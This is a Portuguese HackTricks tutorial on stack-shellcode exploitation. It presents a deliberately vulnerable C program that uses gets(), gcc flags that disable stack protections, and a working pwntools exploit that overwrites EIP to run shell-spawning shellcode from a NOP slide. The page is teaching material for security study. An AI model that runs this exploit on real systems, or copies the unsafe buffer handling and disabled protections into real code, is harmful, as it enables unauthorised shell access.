hacktricks/binary-exploitation/stack-overflow/stack-shellcode.md

6 KiB

Shellcode de Pilha

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Informações Básicas

Shellcode de pilha é uma técnica usada na exploração binária onde um atacante escreve shellcode em uma pilha de programa vulnerável e então modifica o Ponteiro de Instrução (IP) ou Ponteiro de Instrução Estendido (EIP) para apontar para a localização desse shellcode, fazendo com que ele seja executado. Este é um método clássico usado para obter acesso não autorizado ou executar comandos arbitrários em um sistema alvo. Aqui está uma explicação do processo, incluindo um exemplo simples em C e como você poderia escrever um exploit correspondente usando Python com pwntools.

Exemplo em C: Um Programa Vulnerável

Vamos começar com um exemplo simples de um programa vulnerável em C:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Este programa é vulnerável a um estouro de buffer devido ao uso da função gets().

Compilação

Para compilar este programa desabilitando várias proteções (para simular um ambiente vulnerável), você pode usar o seguinte comando:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Desativa a proteção de pilha.
  • -z execstack: Torna a pilha executável, o que é necessário para executar shellcode armazenado na pilha.
  • -no-pie: Desativa o Executável Independente de Posição, facilitando a previsão do endereço de memória onde nosso shellcode estará localizado.
  • -m32: Compila o programa como um executável de 32 bits, frequentemente usado para simplificar o desenvolvimento de exploits.

Exploração em Python usando Pwntools

Veja como você poderia escrever um exploit em Python usando pwntools para realizar um ataque ret2shellcode:

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Este script constrói um payload consistindo de um slide NOP, o shellcode, e então sobrescreve o EIP com o endereço apontando para o slide NOP, garantindo que o shellcode seja executado.

O slide NOP (asm('nop')) é usado para aumentar a chance de que a execução "deslize" para o nosso shellcode, independentemente do endereço exato. Ajuste o argumento p32() para o endereço de início do seu buffer mais um deslocamento para aterrissar no slide NOP.

Proteções

  • ASLR deve ser desativado para que o endereço seja confiável em todas as execuções, ou o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum vazamento para descobrir onde a função win está carregada.
  • Canários de Pilha também devem ser desativados, ou o endereço de retorno comprometido do EIP não será seguido.
  • NX A proteção de stack impediria a execução do shellcode dentro da pilha, pois essa região não seria executável.

Outros Exemplos e Referências